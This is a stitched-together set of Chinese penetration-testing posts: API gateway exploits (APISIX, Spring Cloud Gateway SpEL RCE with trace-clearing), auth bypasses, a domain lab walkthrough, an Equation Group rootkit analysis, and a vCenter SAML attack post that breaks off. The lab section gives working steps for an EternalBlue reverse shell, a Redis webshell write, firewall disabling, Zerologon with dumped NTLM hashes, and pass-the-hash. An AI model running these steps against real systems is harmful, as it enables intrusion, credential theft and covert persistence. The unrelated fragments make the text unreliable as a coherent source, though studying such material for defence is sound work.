Apache APISIX 1.3 ~ 2.12.1 之间的所有版本（不包含 2.12.1 ）
Apache APISIX 2.10.0 ~ 2.10.4 LTS 之间的所有版本（不包含 2.10.4）

搭建漏洞环境

git clone https://github.com/twseptian/cve-2022-24112 ##获取dockerfile文件
cd cve-2022-24112/apisix-docker/example/ ##进入相应目录
docker-compose -p docker-apisix up -d ##启动基于docker的apisix所有服务

利用条件

batch-requests插件默认开启状态。
用户使用了 Apache APISIX 默认配置（启用 Admin API ，使用默认 Admin Key 且没有额外分配管理端口），攻击者可以通过 batch-requests 插件调用 Admin API 。

攻击思路

1、利用batch-requests 插件漏洞、绕过请求头检测；
2、通过伪造请求头、向Admin API 注册路由；
3、注册路由时、携带参数filter_func 传递 lua代码、造成远程代码执行漏洞

exp：
https://github.com/twseptian/cve-2022-24112/blob/main/poc/poc2.py
e3gkxjzre3p14931.png

uejylvsyayz14944.png

Spring Cloud Gateway

Spring Cloud Gateway 是 Spring Cloud 团队基于 Spring 5.0、Spring Boot 2.0 和 Project Reactor 等技术开发的高性能 API 网关组件

当Spring Cloud Gateway启用和暴露 Gateway Actuator 端点时，使用 Spring Cloud Gateway 的应用程序可受到代码注入攻击
影响版本

Spring Cloud Gateway < 3.1.1
Spring Cloud Gateway < 3.0.7
Spring Cloud Gateway 其他已不再更新的版本

这个漏洞本身是一个SpEL注入
攻击方法：
第一步 添加路由 value参数传入了执行cmd的el表达式

POST /test/actuator/gateway/routes/AAAAAAAAAAAAAAAA HTTP/1.1
Host: xxx.com:9090
User-Agent: xxx
Content-Length: xxx
Accept: text/html, image/gif, image/jpeg, *; q=.2, */*; q=.2
Content-Type: application/json
Accept-Encoding: gzip, deflate
Connection: close

{
  "id": "AAAAAAAAAAAAAAAA",
  "filters": [{
    "name": "AddResponseHeader",
    "args": {
      "name": "Result",
      "value": "#{new String(T(org.springframework.util.StreamUtils).copyToByteArray(T(java.lang.Runtime).getRuntime().exec(\"whoami\").getInputStream()))}"
    }
  }],
  "uri": "http://xxx.com:9090/test/actuator/"
}

第二步 刷新配置

POST /test/actuator/gateway/refresh HTTP/1.1
Host: xxx:9090
User-Agent: xxx
Content-Length: 0
Accept: text/html, image/gif, image/jpeg, *; q=.2, */*; q=.2
Content-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip, deflate
Connection: close

第三步，获取命令执行结果

GET /test/actuator/gateway/routes/AAAAAAAAAAAAAAAA HTTP/1.1
Host: xxxx:9090
User-Agent: xxx
Accept: text/html, image/gif, image/jpeg, *; q=.2, */*; q=.2
Accept-Encoding: gzip, deflate
Connection: close

清除痕迹：

DELETE /test/actuator/gateway/routes/AAAAAAAAAAAAAAAA HTTP/1.1
Host: xxx
User-Agent: xxx
Accept: text/html, image/gif, image/jpeg, *; q=.2, */*; q=.2
Accept-Encoding: gzip, deflate
Connection: close

traefik

这个倒是没爆出过什么漏洞，实战中遇到过几次dashboard存在未授权访问的情况，
nxnau4wmhog14950.png
这个dashboard没法直接部署容器啥的
但是可以从它http->http routers这里看到一些路由转发规则，比如host path，对于后续的渗透有一些帮助，可以知道一些二级目录和域名
还有其他页面比如http services会泄露一些内网ip等等

actuator

未授权访问

默认只开放 health
fdnyb1fzgdi14953.png
如果在application.properties添加了

management.endpoints.web.exposure.include=*

或者application.yml添加

management:
  endpoints:
    web:
      exposure:
        #默认值访问health,info端点  用*可以包含全部端点
        include: "*"
  endpoint:
    health:
      show-details: always #获得健康检查中所有指标的详细信息

则会暴露所有端点(endpoints)
此时这些端点就存在未授权访问
rri5gzzy0it14955.png
利用方法大部分这篇文章已经讲了https://github.com/LandGrey/SpringBootVulExploit
这里不再重复提及

heapdump获取shiro key

测试环境：https://github.com/ruiyeclub/SpringBoot-Hello/tree/master/springboot-shiro
ycieplzvrwp14959.png
下载heapdump /actuator/heapdump
hrhrhtodp0w14962.png
jvisualvm.exe：Java自带的工具，默认路径为：JDK目录/bin/jvisualvm.exe
打开heapdump， 搜索org.apache.shiro.web.mgt.CookieRememberMeManager
o1lgqqir2sn14964.png
然后双击这个类，找到key，右边是key的值
5vg1iqk0vgc14966.png
wvmm3doiyiw14968.png
复制

-83, 105, 9, -110, -96, 22, -27, -120, 23, 113, 108, -104, -1, -35, -6, -111

转换的python脚本：

import base64
import struct

print(base64.b64encode(struct.pack('<bbbbbbbbbbbbbbbb', -83, 105, 9, -110, -96, 22, -27, -120, 23, 113, 108, -104, -1, -35, -6, -111)))

kipsieiowdl14971.png
或者使用https://github.com/whwlsfb/JDumpSpider/releases
java -jar JDumpSpider-1.0-SNAPSHOT-full.jar heapdump
o5uj2z4woij14973.png

后端代码安全问题

api后端的应用也是由代码写出来的，各种web安全问题依旧会存在，比如sql注入 文件上传等等，这里提一个遇到比较多的越权问题和一个比较有意思的xxe漏洞

越权

（1）参数污染
为单个参数提供多个值

GET /api/user?id={userid}
=>
GET /api/user?id={userid1}&id={userid2}

（2）附加特殊字符和随机字符串
简单地替换 id 可能会导致 40x等情况。可以尝试添加一些特殊字符

/ %20、%09、%0b、%0c、%1c、%1d、%1e、%1f
GET /api/user/1
=>
GET /api/user/1%20

（3）添加查询参数
url中可能并没有参数，可以自己添加一些字段（可以是网站返回的，也可以是常见的一些比如id username等等）：
比如

GET /api/user
=>
GET /api/user?id=1
GET /api/user?userid=1
GET /api/user?username=1
...

（4）修改动作
常见有增删改查
比如

GET /api/edit/user/1
=>
GET /api/detele/user/1

PUT /api/user  新增
=>
DETELE /api/user/1 尝试删除

xxe

api为了兼容一些不同的应用场景比如小程序、app等等，可能会兼容不同的数据传输格式
比如之前一个银行的测试，接口传输数据采用的是json格式
ez5tz2h315514976.png
将json格式数据改为xml格式时，发现存在xml外部实体注入漏洞（xxe）
fkanpfqp5pb14980.png

鉴权绕过思路

伪造jwt token

有些网站，访问时会给你一个jwt token，但是payload部分很多字段是空的，这个时候可以去尝试去修改payload中，可能和身份认证相关的字段，伪造jwt token。
伪造就需要解决签名问题
（1）修改签名算法为none
（2）爆破签名的密钥
（3）伪造密钥
...
可以使用jwt_tool进行测试
https://github.com/ticarpi/jwt_tool

tmkh3jgmo4t14983.png

Spring-security 认证绕过漏洞

CVE-2022-22978
影响版本：
Spring Security 5.5.x < 5.5.7
Spring Security 5.6.x < 5.6.4

在spring-security中利用换行符可实现权限认证进行绕过，\r的URl编码为%0d，\n的URL编码为%0a
比如：
/admin/1 -> 需要认证
/admin/1%0d%0a -> 绕过认证

shiro权限绕过

举两个例子
（1）CVE-2020-1957
影响版本: shiro < 1.5.2
shiro与spring的URI中对;处理不同，导致绕过

比如http://127.0.0.1:8080/;/admin，shiro则是认为是访问http://127.0.0.1:8080/
比如http://127.0.0.1:8080/;/admin，spring则是认位是访问http://127.0.0.1:8080/admin
这就造成了与shiro处理⽅式的差异，shiro是直接截断后⾯所有部分，⽽spring只会截断【分号之后，斜杠之前】的部分

/admin/ -> 403
/;aaaa/admin/ -> 200
（2）CVE-2020-13933
影响版本: shiro < 1.6.0

访问/admin/index 需要认证
而/admin/%3bindex，能够绕过认证：

其他

这里就是一些经验之谈
（1）github、前端的js以及app中可能存在一些测试的token
（2）测试站点的凭据可能在正式站点上面也有效
（3）有些应用有toB toC不同的接口，在校验不严格的情况下，toC端的凭据可能能用在toB端的接口认证上，比如某次漏洞挖掘中小程序用户登录获取token，可以用在商家端的一些api绕过认证。

参考

https://github.com/API-Security/APIKit
https://github.com/OWASP/API-Security
https://www.cnblogs.com/tomyyyyy/p/15134420.html
https://www.cnblogs.com/zpchcbd/p/15023056.html
https://www.freebuf.com/vuls/343980.html
https://mp.weixin.qq.com/s/gp2jGrLPllsh5xn7vn9BwQ
https://mp.weixin.qq.com/s?__biz=Mzg3NDcwMDk3OA==&mid=2247484068&idx=1&sn=89ea1b1be48a0cb7f93a4750765719d1&chksm=cecd8b79f9ba026f7fbf52771e41272d684fc3af5175587f768082f8dbaee12d6d33bb892ceb&scene=21#wechat_redirect
https://apisix.apache.org/zh/docs/apisix/getting-started/
https://zhuanlan.zhihu.com/p/569328044
https://www.cnblogs.com/9eek/p/16243402.html
http://c.biancheng.net/springcloud/gateway.html



原文连接： https://xz.aliyun.com/t/11977
HireHackking

网络配置

外网WIN7：ip1: 192.168.127.91/255.255.255.0 ,gw:192.168.127.2 （NAT模式）ip2:10.0.20.98-vmnet1(仅主机模式)域主机成员：10.0.20.99-vmnet1(仅主机模式)10.0.10.111-vmnet2(仅主机模式)域控：10.0.10.110-vmnet2(仅主机模式)密码配置：Win7：win7/adminwin2016：Administrator/Admin@123、vulntarget.com\win2016   Admin#123win2019：vulntarget.com\administrator   Admin@666

信息收集

扫描主机

arp-scan  -l扫描同一网段中的存活主机a0fgwy0hflv14995.png发现一个存活主机:192.168.127.91

扫描端口

扫描一下存活靶机的ip地址

nmap -sC -T4 192.168.127.91ca1b24ejxaw14997.png发现目标系统为win7,且开放了445端口，尝试利用永恒之蓝(ms17-010)打一波目标系统

内网主机渗透

在kali中输入命令：msfconsolemsf 6> search 17-010msf 6> use 0msf 6> set payload windows/x64/meterpreter/reverse_tcpmsf 6> set lport 6666msf 6> set lhost 192.168.127.129msf 6> set rhosts  192.168.127.91msf 6> run5ioxe4pagvk14998.pngmeterpreter>shell  C:\Windows\System32>ipconfigy4y22uskfhs15000.png发现有些乱码，直接在设置一下
C:\Windows\System32>CHCP 65001     #65001 UTF-8代码页C:\Windows\System32>ipconfig  #发现有两个网段，一个是192.168.127的网段，另一个就是10.0.20网段bvpapnvephh15001.pngC:\Windows\System32>whomai  #查看当前用户得权限为system权限byfoge1rxil15002.pngC:\Windows\System32>tasklist/svc  #查看进程，发现系统中没有杀软2bj5b0farrc15005.pngC:\Windows\System32>exit #退出shell命令终端tige3tyfsc515006.pngmeterpreter>load kiwi  #加载mimikataz模块meterpreter>creds_all  #获取当前所有用户得登录凭证，发现用户名为win7，密码为：adminz4b5cwupf1x15007.png


Web渗透

直接访问,http://192.168.127.91/,发现是通达OAxx3jkhcqqrg15016.jpg查看通达OA的版本号，当前版本为11.3http://192.168.127.91/inc/expired.php xsbd50npz5r15017.png通过搜索引擎搜索通达11.3存在文件包含漏洞参考地址：https://blog.csdn.net/hackzkaq/article/details/115900500这里使用一键图形化工具获得webshelljlm43op0gga15020.png使用蚁剑连接成功c4qa1n5rsgq15021.pngpfmfnjiojob15023.png同样在蚁剑的命令终端下查看当前用户的权限为system权限yosahnkciwi15026.png

横向渗透

进程迁移获得shell时，该shell是极其脆弱，所以需要移动这个shell把它和目标机中一个稳定的进程绑定在一起，而不需要对磁盘进行任何写入操作，这样使渗透更难被检测到。自动迁移进程命令（run post/windows/manage/migrate）后，系统会自动寻找合适的进程然后迁移meterpreter > run post/windows/manage/migrate   #从1080的spoolsv.exe迁移到了noepad.exe的4800进程jb5pdpgnh2z15029.png查看本地网络连接子网段meterpreter > run  get_local_subnetsc3eytl5strj15030.png添加一条动态路由meterpreter > run autoroute -s 10.0.20.0/24或者meterpreter >backgroundmeterpreter >sessions
msf6 exploit(windows/smb/ms17_010_eternalblue) >use post/multi/manage/autoroutemsf6 exploit(windows/smb/ms17_010_eternalblue) >set session 1msf6 exploit(windows/smb/ms17_010_eternalblue) >runfa4y1aafyly15033.pngmeterpreter >backgroundhxcmga0kttq15035.png发现存活主机msf6 exploit(windows/smb/ms17_010_eternalblue) >use post/windows/gather/arp_scannermsf6 exploit(windows/smb/ms17_010_eternalblue) >set session 1msf6 exploit(windows/smb/ms17_010_eternalblue) >set rhosts 10.0.20.1-254msf6 exploit(windows/smb/ms17_010_eternalblue) >runyevrqfxnamq15037.png发现了另一台存活主机10.0.20.99开启socks5代理
msf6 exploit(windows/smb/ms17_010_eternalblue) > use auxiliary/server/socks_proxymsf6 auxiliary(server/socks_proxy) > runns4dvm3hmpk15039.pnggkcfnscnqdd15041.png

端口扫描

首先先要需要修改/etc/proxychain4.conf配置文件

vim   /etc/proxychains4.confsocks5  127.0.0.1  1080通过nmap扫描目标IP的常用端口proxychains nmap -sT -Pn 10.0.20.99 -p22,23,80,139,445,1433,3306,3389,6379,8080ek0lz3sui3q15043.png发现10.0.20.99主机开放了6379和80端口这里使用本地socks5代理客服端proxifier软件ijsoqdqxvgb15045.png通过dirsearch进行扫描，发现目标存在phpinfo.php敏感信息页面python3   dirsearch.py  -l url.txt  -t 10  -e *   -i 200,302  --format csv -o C:\Users\backlion\Desktop\dirsearch-master\xxx.com.csv或者攻击机kali下执行
proxychains python dirsearch.py -u http://10.0.20.99 -i 200
proxychains dirsearch -u “http://10.0.20.99” --proxy=socks5://127.0.0.1:1080 -t 5
rzvnfdm2esr15046.png访问phpinfo.php页面发现暴露了网站的绝对路径：C:/phpStudy/PHPTutorial/WWW/http://10.0.20.99/phpinfo.php rik4o3lxuqy15050.png
http://10.0.20.99/l.php1s2qjz3azo415053.png

Redis未授权访问

通过 redis-cli 命令可无密码进行远程连接proxychains redis-cli -h 10.0.20.99lx2moizdnzh15055.png

Redis写入webshell

10.0.20.99:6379> CONFIG set dir "C:/phpStudy/PHPTutorial/WWW/"  #切换到可写入shell的绝对路径10.0.20.99:6379> set x "\n\n\n<?php @eval($_POST['x']);?>\n\n\n"   #写入一句话木马10.0.20.99:6379> config set dbfilename shell.php  #设置文件名为shell.php10.0.20.99:6379> savehwafyuszvj115057.png这里通过本地主机上的蚁剑设置代理，且连接webshell0jsc4w0rhjo15058.png
zym13fdu4oj15060.pngdvwmhw1chnl15061.png查看当前用户权限为syestemfeosdllk2kp15062.png

上传MSF后门

生成正向shellcodemsfvenom -p windows/x64/meterpreter/bind_tcp  LPORT=3333 -f exe > shell.exeyg2upi02tri15065.png使用蚁剑上传shell.exe到10.0.20.99，并执行ktfcmx1txbf15066.png

配置监听器

use exploit/multi/handlerset payload windows/x64/meterpreter/bind_tcpset lport 3333set RHOST 10.0.20.99runlysu35c1pjc15067.png
关闭防火墙
netsh firewall set opmode mode=disable
4ykyxdcd4sz15068.png蚁剑命令终端中运行shell.exedfkttzy4rtp15070.jpg收集同网段主机meterpreter > arps4jkgaqpnnd15071.png扫出10.0.10.110网段迁移进程
run post/windows/manage/migrate
yaii4gfb52x15078.pngmeterpreter > sysinfo5vzoisyzmqb15079.pngmeterpreter > shell3xfcupz0f4r15080.pngC:\phpStudy\PHPTutorial\WWW>CHCP 65001jyjbvykpde215081.png收集IP信息C:\phpStudy\PHPTutorial\WWW>ipconfig/alln0it1iwzywl15083.pngwa3jqkkj24i15084.png有域存在，查看域控计算机名C:\phpStudy\PHPTutorial\WWW>net group "domain controllers" /domaind0pwli0hxll15086.png查看域管理员C:\phpStudy\PHPTutorial\WWW>net group "enterprise admins" /domaingouy4oeoflo15090.png
域提权
添加路由meterpreter > run post/multi/manage/autoroutemeterpreter > run autoroute -p4r0ohgnjpr115093.pngmeterpreter > run post/windows/gather/enum_domaindodaqcwfey115098.pngproxychains4 nmap -Pn -sT 10.0.10.110 -p6379,80,8080,445,139pboygz5el1k15104.png下载impacket包，并进行安装git clone https://github.com/SecureAuthCorp/impacketcd impacketpython3 -m pip install -r requirements.txtpython3 -m pip install .下载CVE-2020-1472EXPgit clone  https://github.com/dirkjanm/CVE-2020-1472.gitcd CVE-2020-1472执行EXPproxychains python3 cve-2020-1472-exploit.py WIN2019 10.0.10.110miwkpurrdhx15108.png获取域管理员hashcd  /opt/impacket/examplesproxychains python3 secretsdump.py vulntarget.com/WIN2019\$@10.0.10.110 -no-passi1pxt5rfi3x15114.pngAdministrator:500:aad3b435b51404eeaad3b435b51404ee:c7c654da31ce51cbeecfef99e637be15:::Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::krbtgt:502:aad3b435b51404eeaad3b435b51404ee:a3dd8e4a352b346f110b587e1d1d1936:::vulntarget.com\win2016:1601:aad3b435b51404eeaad3b435b51404ee:dfc8d2bfa540a0a6e2248a82322e654e:::WIN2019$:1000:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::WIN2016$:1602:aad3b435b51404eeaad3b435b51404ee:d0b248a756f62bbef5b286c7be19c7a9:::[*] Kerberos keys grabbedAdministrator:aes256-cts-hmac-sha1-96:70a1edb09dbb1b58f1644d43fa0b40623c014b690da2099f0fc3a8657f75a51dAdministrator:aes128-cts-hmac-sha1-96:04c435638a00755c0b8f12211d3e88a1Administrator:des-cbc-md5:dcc29476a789ec9ekrbtgt:aes256-cts-hmac-sha1-96:f7a968745d4f201cbeb73f4b1ba588155cfd84ded34aaf24074a0cfe95067311krbtgt:aes128-cts-hmac-sha1-96:f401ac35dc1c6fa19b0780312408cdedkrbtgt:des-cbc-md5:10efae67c7026dbfvulntarget.com\win2016:aes256-cts-hmac-sha1-96:e4306bef342cd8215411f9fc38a063f5801c6ea588cc2fee531342928b882d61vulntarget.com\win2016:aes128-cts-hmac-sha1-96:6da7e9e046c4c61c3627a3276f5be855vulntarget.com\win2016:des-cbc-md5:6e2901311c32ae58WIN2019$:aes256-cts-hmac-sha1-96:092c877c3b20956347d535d91093bc1eb16b486b630ae2d99c0cf15da5db1390WIN2019$:aes128-cts-hmac-sha1-96:0dca147d2a216089c185d337cf643e25WIN2019$:des-cbc-md5:01c8894f541023bcWIN2016$:aes256-cts-hmac-sha1-96:414bc47994e3bf616da9e115ba8c7e528ce17315734337479d6f67df3ca6e682WIN2016$:aes128-cts-hmac-sha1-96:8b30d9d37e7f7f474124382d2fe75950WIN2016$:des-cbc-md5:6d97313875e362c8拿到管理员hash，执行提权exp
proxychains python3 smbexec.py -hashes aad3b435b51404eeaad3b435b51404ee:c7c654da31ce51cbeecfef99e637be15  Administrator@10.0.10.110
34u5karvuja15120.png开启3389远程桌面端口：reg add "HKLM\System\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp" /t REG_DWORD /v portnumber /d 3389 /f
wmic RDTOGGLE WHERE ServerName='%COMPUTERNAME%' call SetAllowTSConnections 1
netsh advfirewall firewall add rule name="Remote Desktop" protocol=TCP dir=in localport=3389 action=allow
直接3389登录：proxychains  rdesktop 10.0.10.110
账号：balsec.com\administrator   密码：Admin@666
ypd0pruzobk15124.jpg




		

		
		

			

		

	
	


		
			



	

		

			


	
		HireHackking
	

			
		

	

	

		

			
01.png



KillSuitKillSuit (KiSu)是一個不尋常的插件，一旦部署在受害設備上，它的整個任務就是運行其他插件，為持久性和規避提供框架。一些DanderSpritz 插件可以單獨運行，也可以通過KillSuit 調用。它的設計使得在受害者端運行的每個KillSuit 實例都可以託管一個工具（例如下面的MistyVeal）；因此，很容易發生受害者設備上安裝了多個KillSuit 實例，每個實例都託管不同的post-exploitation工具。每個KillSuit 實例的數據，包括其所有模塊，都在註冊表項中保持加密。這是KillSuit 獨有的功能，通常不是DanderSpritz 插件的功能。



DoubleFeature 記錄了大量與KillSuit 相關的數據。實際上，DoubleFeature 內部也有一些死代碼，允許刪除、升級和推送模塊更新到運行的KillSuit 實例中。雖然“KillSuit”是在DoubleFeature 內部和攻擊者實際調用的外層DanderSpritz CLI 中使用的名稱，但實際上內部使用的Plugin 文件夾名稱是DecibalMinute（簡稱DeMi）。 Python UI 邏輯主要可以在3 個腳本中找到，不出所料，它們位於在插件的pyscripts 目錄中。



“Mcl_Cmd_DiBa_Tasking.py”：處理KiSu 安裝、卸載和升級。作為參數，此腳本接受要使用的持久性機制的類型；有4 種類型的持久性，命名為“Default”, “Launcher”, “SoTi” 和“JuVi”。我們將在下面進一步詳細說明它們的內部工作原理。在底層，Python UI通過RPC調用(RPC_INFO_INSTALL)實現這一點。



“Mcl_Cmd_KisuComms_Tasking.py”：用於與受害者端正在運行的KillSuit實例建立連接，並提供動態加載和卸載模塊/驅動程序的功能。



“_KiSu_BH_enable.py”：KillSuit 的一個內部驅動程序稱為“BroughtHotShot”，簡稱BH。此腳本不會啟用它，但會檢查它是否已被啟用（通過DanderSpritz 命令可用-command kisu_install -isloaded 和可用-command kisu_install -load）。如果要啟用驅動程序，則需要執行KiSu_BH_enable.py on，禁用則是KiSu_BH_enable.py off。



“Mcl_Cmd_KiSuFullList_Tasking.py”：生成目標設備上當前KiSu 安裝的列表。在後台，這是通過調用kisu_list DanderSpritz 命令完成的，然後對於每個返回的安裝，通過DanderSpritz 命令kisu_config -instance id -checksum 來獲取它的配置。此配置包含各種技術細節，例如KillSuit 版本、安裝的註冊表項和值、內核和用戶模塊的加載程序、用於保存託管插件模塊的加密虛擬文件系統的目錄、已被安裝的合法驅動程序通過將託管插件注入其中，以及在受害者上啟動KillSuit 時內部使用的標誌而受害。



每個KillSuit 實例都有一個內部記錄，其中包含該實例中託管的工具的“ID”，每個工具的ID 都是相同的。我們發現DoubleFeature 內部引用了以下可能的實例：



PC (PeddleCheap) –0x7A43E1FA：提供一個交互式shell和一些長期持久性的功能。本身也可用作post-exploitation工具，並且可以在受感染的主機上安裝其他KillSuit 實例。



UR (UnitedRake) ：0x91FD378（同上）；



STLA (StrangeLand)/GROK –0x1A0F5582，這些都是鍵盤記錄器，他們的加密日誌存儲在名稱格式為tm154*.da 的文件中；



SNUN (SnuffleUnicorn) –0x23A4732A；



WRWA (WraithWrath) –0x502BB710；



SLSH (SleepySheriff) –0x32A7032D；



WORA (WoozyRamble) –0x68A40E49；



TTSU (TiltTsunami) -0x8F1D6511；



SOKN (SoberKnave) -0x8F1D6510：該工具具有通過未使用/禁用的WiFi卡進行數據溢出的功能，它被用於氣隙系統（airgapped）目標。



MAGR (MagicGrain) -0x437e528e8；



DODA (DoubleDare) -0x1C9D4A8A；



SAAN (SavageAngel) –0x9D801C63；



MOAN (MorbidAngel) –0x9D801C62；



DEWH (DementiaWheel)–0xAE37690B：黑客工具也稱為“Fanny”；



CHMU (ChinMusic) –0x39B2DA17；



MAMO (MagicMonkey) –0x2D473AB3；



MABE (MagicBean) -0x8675309 ：用於中間人的WiFi



DiveBarDiveBar（DiBa）是DoubleFeature對負責持久化方法（例如“KSLA”（KillSuit loader）、“SolarTime”、“JustVisiting”和“DoctorOcopus”）部分的命名。



我們上面提到的不同持久化方法有：



KSLA (Launcher)：只需在受害系統上安裝一個新的驅動程序並將其用於持久性。這種情況一直持續到微軟引入驅動程序簽名強制執行(DSE)，它不允許未簽名的驅動程序運行。 Windows Vista及以後版本不支持此方法。



JustVisiting (JuVi)：為了繞過DSE，這種持久性機制濫用了簽名驅動程序ElbyCDIO.sys 中的一個已知漏洞，該漏洞是RedFox 軟件“CloneCD”的一部分。在系統啟動時加載和利用易受攻擊的驅動程序。以這種方式獲得的提升權限會用於將DiveBar 的持久化驅動程序添加到LSAExtensionConfig/interfaces，此方法僅適用於Windows 8操作系統。



SolarTime (SoTi)：一種高級的持久性機制，通過修改一個受害者係統的VBR 來工作。僅與具有FVEBOOT 和特定引導扇區格式的NTFS 文件系統兼容。 SoTi 將引導扇區的哈希與下面列出的“已知良好”哈希列表進行比較。



 15.png



如上所述，KillSuit 在受害者註冊表中保存了一個叫做“模塊存儲”的內容。根據註冊表的合法目的，惡意軟件使用註冊表來存儲簡單的配置數據；但隨著時間的流逝，越來越多的惡意軟件開始使用註冊表來存儲任意數據。這樣，註冊表就會包含模塊存儲的整個虛擬文件系統，該模塊存儲是通過連接兩個硬編碼字典中偽隨機選擇的兩個單詞生成的。第一個單詞的可能值列示如下：



 16.png



第二個單詞的可能值：



 17.png



卡巴斯基報導過的“GrayFish”的架構和KillSuit一樣：



 18.webp.jpg



GrayFish 的架構



圖中資源與DiveBar資源一一對應：



102 – fvexpy.sys – F7F382A0C610177431B27B93C4C87AC1；



103 – mpdkg32.dll – 0182DBF3E594581A87992F80C762C099；



104 – BroughtHotShot driver – drmkflt.sys – 9C6D1ED1F5E22BF609BCF5CA6E587DEC/D3DF8781249F2C404C4935CA9FFB1155；



107 – New VBR (for SolarTime)；



110 – mpdkg64.dll – F01525C9EF763C49E28CEC6C2F6F6C60；



114 – Elby loader – fhsvcapi.dll – 6156E50571571B233019C4EBB472899D；



115 – Elby driver – AAA8999A169E39FB8B48AE49CD6AC30A；



DiveBar並不局限於濫用ElbyCDIO.sys，它還會搜索受害者設備上已經存在的易受攻擊的良性驅動程序，以用作託管插件代碼的“啟動器”。在內部，這種被DiveBar 選擇來啟動KillSuit 實例的良性驅動程序被稱為“thunk”。對於每個KillSuit 實例，DoubleFeature 都會報告用於加載其內核模式模塊的thunk 漏洞利用dll，簡稱KML（內核模塊啟動器）。



FlewAvenueFlewAvenue(FlAv)是一個IPv4驅動程序，為其他工具提供隱蔽的網絡訪問。它提供了不同的網絡功能，如DNS查詢和ICMP 回顯（“ping”）。



FlewAvenue 的指標如下：



“ntevt.sys”——此工具驅動程序的名稱



DuneMessiahDoubleFeature 診斷僅提供有關此工具的非常少的信息。對於此工具，DoubleFeature 報告了受害設備上的實例在內部使用的偽隨機生成的“事件名稱”，以及一些註冊的KillSuit 實例。



CritterFrenzyDoubleFeature 也僅報告有關此插件的最少信息，從DoubleFeature收集到的關於這個工具的信息來看，它似乎是KillSuit的另一個實例，可能是過去使用過，ID為333。



CritterFrenzy 指標如下：



“MPDKH32”——此工具的名稱



MistyVealMistyVeal (MV) 是一種“驗證器”植入程序，這意味著它用於驗證目標系統確實是真正的受害者，而不是檢測環境。它作為Internet Explorer 瀏覽器助手對象實現（這些通常用於擴展IE 功能；例如，Adobe 的IE 的Acrobat 插件就是一個瀏覽器助手對象）。 MistyVeal 也是Equation Group 最初的“Double Fantasy”植入程序的一部分，它是UnitedRake 的前身“netdlr.sys”——該工具驅動程序的名稱



MistyVeal指標如下所示：



{B812789D-6FDF-97AB-834B-9F4376B2C8E1} ——用於GUID和版本的MV CLSID



DiceDealerDiceDealer (DD) 是DiveBar 執行的所有安裝和卸載所產生的日誌數據的解析工具（這與UnitedRake有關，因為通常使用DiveBar來安裝它）。如果你想手動解析DiceDealer 日誌文件，最簡單的方法是將日誌文件複製到DiceDealerReader 工具所在的同一目錄中。讀取器依賴於該目錄中的幾個文件，如果它們不存在，將無法解析日誌。



PeddleCheapPeddleCheap ****(PC) 是最先在受害設備上運行的工具之一，可用於引導一次完整的DanderSpritz 安裝。 PeddleCheap 包含的功能非常少，允許攻擊者連接到受害設備並遠程安裝和配置允許進一步post-exploitation功能的植入程序，包括一個完整安裝DanderSpritz 框架。 PeddleCheap 通常通過多種方法注入到lsass.exe中，包括DOUBLEPULSAR 後門。



 19.webp.jpg



PeddleCheap 用戶界面



PeddleCheap 指標如下：



{A682FEC0-333F-B16A-4EE6-24CC2BAF1185}——用於GUID和版本的PC CLSID



DoubleFeature 的Rootkit 控制流程



DoubleFeature (hidsvc.sys) 使用的rootkit 在加載時執行以下操作：



1.它創建了一個未命名的設備對象，但註冊了IRP 調度功能。



2.它分派IOCTL 請求。



3.它專門從事Windows 內核代碼的運行時修復。



4.它為用戶模式模塊運行內核API。



Rootkit 在加載到內存之前由用戶模式DLL 修復，這樣做是為了插入用戶模式進程的PID，以便rootkit 知道要隱藏哪個進程。然後，rootkit 通過KeAttachProcess 附加到這個相同用戶模式進程中。



Rootkit 使用HalAllocateCommonBuffer 或MmIsAddressValid 查找API 函數的動態地址（這些函數的地址是之前通過調用MmGetSystemRoutineAddress 獲得的）。它使用加密的堆棧字符串，這些字符串在需要使用的基礎上解密，並在使用後再次立即加密，類似於我們之前描述的DoubleFeature 用戶模式組件中使用的方法。



為了避免被檢測到，rootkit 還會盡可能隱秘地創建自己的驅動程序對象。首先，rootkit 不是直接創建對象，而是先創建Device\\NULL 的句柄，然後通過插入自己的名稱為driver\\msvss 的設備對象來劫持其FileHandle。最後，它使用此FileObject 發送IRP_MJ_Create 請求以獲得新創建的驅動程序對象的句柄。其次，rootkit 調用ObMakeTemporaryObject 並從其父對像管理器目錄中刪除對象的名稱，有效地將其與操作系統內部用於跟踪加載的驅動程序的結構斷開鏈接。由於Windows 操作系統處理驅動程序的方式，這會導致驅動程序在後台運行，而診斷工具和研究人員將無法找到驅動程序。



新設備的IRP_MJ_DEVICE_CONTROL 處理程序函數包含可以從用戶模式DLL 發送的不同IoControl 代碼（例如0x8589240c 用於截斷文件，0x85892408 用於在內核模式下執行API 調用並將輸出發送回用戶模式進程）。


		

		
		

			

		

	
	


		
			



	

		

			


	
		HireHackking
	

			
		

	

	

		

			
0x00 前言我最近學到的一個利用方法：在vCenter上使用管理員權限，從/storage/db/vmware-vmdir/data.mdb提取IdP證書，為管理員用戶創建SAML請求，最後使用vCenter server進行身份驗證並獲得有效的管理員cookie。



直觀理解：從vCenter本地管理員權限到VCSA管理面板的管理員訪問權限。



學習資料：



https://www.horizon3.ai/compromising-vcenter-via-saml-certificates/



https://github.com/horizon3ai/vcenter_saml_login



本文將要在學習資料的基礎上，完善代碼，增加通用性，結合利用思路給出防禦建議。



0x01 簡介本文將要介紹以下內容：



◼方法復現



◼腳本優化



◼利用思路



◼防禦建議



0x02 方法復現在Kali系統下進行測試



安裝Openssl：



aptinstallpython3-openssl1.從vCenter獲得數據庫文件路徑：/storage/db/vmware-vmdir/data.mdb



需要vCenter管理員權限



2.運行腳本下載地址：



https://github.com/horizon3ai/vcenter_saml_login/blob/main/vcenter_saml_login.py



命令參數示例：



python3./vcenter_saml_login.py-t192.168.1.1-pdata.mdb命令行返回結果：



JSESSIONID=XX533CDFA344DE842517C943A1AC76113.登錄VCSA管理面板訪問https://192.168.1.1/ui



設置Cookie: JSESSIONID=XX533CDFA344DE842517C943A1AC7611



成功以管理員身份登錄管理面板



0x03 腳本優化通常data.mdb的大小至少為20MB



為了減少交互流量，選擇將vcenter_saml_login.py修改成能夠直接在vCenter下使用



注：



vCenter默認安裝Python



在腳本修改上具體需要考慮以下問題：



1.去掉引用第三方包bitstring我採用的方式是將第三方包bitstring的內容進行精簡，直接插入到Python腳本中



